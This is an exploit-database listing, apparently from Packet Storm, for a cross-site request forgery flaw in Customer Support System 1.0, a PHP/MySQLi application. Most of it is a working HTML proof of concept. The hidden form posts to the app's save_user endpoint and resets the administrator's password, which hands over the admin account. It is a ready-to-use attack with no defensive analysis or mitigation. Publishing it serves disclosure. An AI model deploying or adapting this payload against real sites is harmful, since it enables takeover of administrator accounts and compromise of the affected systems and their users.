Customer Support System 1.0 Cross Site Request Forgery

Customer Support System version 1.0 suffers from a cross site request forgery vulnerability.


MD5 | 7cb61348999bd582e9317e96cda8d769

Download
# Exploit Title: Customer Support System 1.0  - Cross-Site Request Forgery (Admin Account Takeover)
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4


# Description :  Admin Account Takeover 
# Vulnerability Details
    [+] The username and password parameters can be forged to force the password change of admin user account.

# POC - CSRF HTML
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/customer_support/ajax.php?action=save_user" method="POST">
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="table" value="users" />
      <input type="hidden" name="firstname" value="Administrator" />
      <input type="hidden" name="middlename" value="" />
      <input type="hidden" name="lastname" value="" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="newpass" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Source: packetstormsecurity.com
Related Posts